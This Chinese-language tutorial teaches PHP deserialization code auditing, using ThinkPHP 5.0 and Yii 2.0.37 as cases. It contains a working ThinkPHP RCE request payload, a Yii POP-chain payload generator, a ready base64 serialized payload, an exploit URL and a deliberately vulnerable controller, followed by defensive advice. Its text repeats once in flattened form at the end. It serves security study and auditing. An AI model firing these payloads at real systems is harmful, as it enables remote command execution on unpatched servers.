php反序列化代码审计学习
字数 1953 2025-08-09 13:33:32

PHP反序列化代码审计学习文档

0x01 前言

PHP反序列化漏洞是PHP代码审计中一个重要且复杂的漏洞类型。本文将从基础概念入手,详细分析ThinkPHP 5.0和Yii 2.0.37框架中的反序列化漏洞实例,帮助读者掌握PHP反序列化漏洞的审计方法。

0x02 PHP反序列化基础

一、序列化和反序列化概念

序列化:将对象或数据结构转换为可存储或传输的格式(字符串)
反序列化:将序列化后的字符串还原为原始对象或数据结构

类比:台式电脑运输时拆解零件(序列化),到达目的地后重新组装(反序列化)

二、PHP序列化相关魔术方法

  1. __serialize() / __unserialize():PHP 7.4+新增,用于自定义序列化/反序列化行为
  2. __sleep():对象被序列化前调用
  3. __wakeup():对象被反序列化后调用
  4. __construct():对象创建时调用
  5. __destruct():对象销毁时调用
  6. __toString():对象被当作字符串使用时调用
  7. __call():调用不可访问方法时触发
  8. __callStatic():静态方式调用不可访问方法时触发
  9. __invoke():以函数方式调用对象时触发
  10. __clone():对象复制完成时调用

0x03 PHP反序列化代码审计实例

一、审计工具准备

推荐工具:

  • PHPStorm(代码审计)
  • Xdebug(调试)
  • Seay源代码审计系统(辅助审计)

二、ThinkPHP 5.0.20远程代码执行漏洞

影响版本:5.x < 5.1.31, <= 5.0.23

漏洞分析

  1. 漏洞入口点Request.php中的method方法

  2. 漏洞原理

    • 当传入方法为POST时,会读取配置文件中的默认变量_method
    • 对传入的方法变量内容未过滤,可通过_method=__construct覆盖为构造函数
    • 构造函数中初始化过滤参数值(可控)
    • 全局过滤函数filterValue()在debug模式下会进行$filter变量覆盖
    • 默认配置为空,可传入$filter=system覆盖为system函数
    • 传入变量值如aaa=whoami,通过call_user_func执行命令
  3. 利用条件

    • 开启debug模式
    • 使用Request类处理请求

漏洞复现

Payload

_method=__construct&filter[]=system&aaa=whoami

三、Yii 2.0.37反序列化漏洞

影响版本:Yii2 < 2.0.38

漏洞分析

  1. 测试控制器创建
    创建controllers/TestController.php提供反序列化入口:

    namespace app\controllers;
    use Yii;
    use yii\web\Controller;
    
    class TestController extends Controller {
        public function actionTtt() {
            $name = Yii::$app->request->get('data');
            return unserialize(base64_decode($name));
        }
    }
    
  2. 漏洞入口点
    vendor/yiisoft/yii2/db/BatchQueryResult.phpreset方法:

    • 对象销毁时调用__destruct()
    • __destruct()调用reset()
    • reset()中当参数不为空时调用close()方法
    • close()方法不存在,触发__call()魔术方法
  3. 利用链分析

    • 查找可利用的__call()方法
    • vendor/fzaninotto/faker/src/Faker/Generator.php中找到可利用点
    • format()方法中使用call_user_func_array(),可执行任意函数
    • getFormatter()方法返回可控的formatters[$formatter]属性
  4. POP链构造条件

    • 方法的参数必须是类中存在的
    • 方法需具有命令执行功能
  5. 可利用点

    • vendor/yiisoft/yii2/rest/CreateAction.php
    • vendor/yiisoft/yii2/rest/IndexAction.php
  6. 完整POP链

    yii\db\BatchQueryResult::__destruct()
    ->reset()
    ->close()
    ->Faker\Generator::__call()
    ->format()
    ->call_user_func_array()
    ->yii\rest\IndexAction::run
    ->call_user_func()
    

漏洞复现

Payload生成代码

<?php
namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess = 'system';
            $this->id = '1';
        }
    }
}

namespace Faker {
    use yii\rest\CreateAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db {
    use Faker\Generator;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new Generator;
        }
    }
}

namespace {
    // 进行序列化和base64编码
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
    // 输出:TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
}
?>

访问URL

http://ip/index.php?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19

0x04 防御建议

  1. 输入验证

    • 对所有反序列化操作的数据来源进行严格验证
    • 使用白名单机制限制可反序列化的类
  2. 加密签名

    • 对序列化数据进行签名,确保数据未被篡改
  3. 替代方案

    • 使用JSON等更安全的序列化格式
    • 避免直接反序列化用户输入
  4. 框架升级

    • 及时更新框架到最新版本
    • 应用官方安全补丁
  5. 魔术方法审查

    • 特别注意__wakeup()__destruct()等魔术方法的安全性
    • 避免在这些方法中执行危险操作

0x05 总结

PHP反序列化漏洞审计需要:

  1. 理解PHP序列化机制和魔术方法
  2. 掌握POP链构造原理
  3. 熟悉常见框架的代码结构和漏洞模式
  4. 具备完整的漏洞利用链思维

通过分析ThinkPHP和Yii框架的实际案例,可以加深对PHP反序列化漏洞的理解,提高代码审计能力。

PHP反序列化代码审计学习文档 0x01 前言 PHP反序列化漏洞是PHP代码审计中一个重要且复杂的漏洞类型。本文将从基础概念入手,详细分析ThinkPHP 5.0和Yii 2.0.37框架中的反序列化漏洞实例,帮助读者掌握PHP反序列化漏洞的审计方法。 0x02 PHP反序列化基础 一、序列化和反序列化概念 序列化:将对象或数据结构转换为可存储或传输的格式(字符串) 反序列化:将序列化后的字符串还原为原始对象或数据结构 类比:台式电脑运输时拆解零件(序列化),到达目的地后重新组装(反序列化) 二、PHP序列化相关魔术方法 __serialize() / __unserialize() :PHP 7.4+新增,用于自定义序列化/反序列化行为 __sleep() :对象被序列化前调用 __wakeup() :对象被反序列化后调用 __construct() :对象创建时调用 __destruct() :对象销毁时调用 __toString() :对象被当作字符串使用时调用 __call() :调用不可访问方法时触发 __callStatic() :静态方式调用不可访问方法时触发 __invoke() :以函数方式调用对象时触发 __clone() :对象复制完成时调用 0x03 PHP反序列化代码审计实例 一、审计工具准备 推荐工具: PHPStorm(代码审计) Xdebug(调试) Seay源代码审计系统(辅助审计) 二、ThinkPHP 5.0.20远程代码执行漏洞 影响版本 :5.x < 5.1.31, <= 5.0.23 漏洞分析 漏洞入口点 : Request.php 中的 method 方法 漏洞原理 : 当传入方法为POST时,会读取配置文件中的默认变量 _method 对传入的方法变量内容未过滤,可通过 _method=__construct 覆盖为构造函数 构造函数中初始化过滤参数值(可控) 全局过滤函数 filterValue() 在debug模式下会进行 $filter 变量覆盖 默认配置为空,可传入 $filter=system 覆盖为system函数 传入变量值如 aaa=whoami ,通过 call_user_func 执行命令 利用条件 : 开启debug模式 使用Request类处理请求 漏洞复现 Payload : 三、Yii 2.0.37反序列化漏洞 影响版本 :Yii2 < 2.0.38 漏洞分析 测试控制器创建 : 创建 controllers/TestController.php 提供反序列化入口: 漏洞入口点 : vendor/yiisoft/yii2/db/BatchQueryResult.php 的 reset 方法: 对象销毁时调用 __destruct() __destruct() 调用 reset() reset() 中当参数不为空时调用 close() 方法 close() 方法不存在,触发 __call() 魔术方法 利用链分析 : 查找可利用的 __call() 方法 在 vendor/fzaninotto/faker/src/Faker/Generator.php 中找到可利用点 format() 方法中使用 call_user_func_array() ,可执行任意函数 getFormatter() 方法返回可控的 formatters[$formatter] 属性 POP链构造条件 : 方法的参数必须是类中存在的 方法需具有命令执行功能 可利用点 : vendor/yiisoft/yii2/rest/CreateAction.php vendor/yiisoft/yii2/rest/IndexAction.php 完整POP链 : 漏洞复现 Payload生成代码 : 访问URL : 0x04 防御建议 输入验证 : 对所有反序列化操作的数据来源进行严格验证 使用白名单机制限制可反序列化的类 加密签名 : 对序列化数据进行签名,确保数据未被篡改 替代方案 : 使用JSON等更安全的序列化格式 避免直接反序列化用户输入 框架升级 : 及时更新框架到最新版本 应用官方安全补丁 魔术方法审查 : 特别注意 __wakeup() 、 __destruct() 等魔术方法的安全性 避免在这些方法中执行危险操作 0x05 总结 PHP反序列化漏洞审计需要: 理解PHP序列化机制和魔术方法 掌握POP链构造原理 熟悉常见框架的代码结构和漏洞模式 具备完整的漏洞利用链思维 通过分析ThinkPHP和Yii框架的实际案例,可以加深对PHP反序列化漏洞的理解,提高代码审计能力。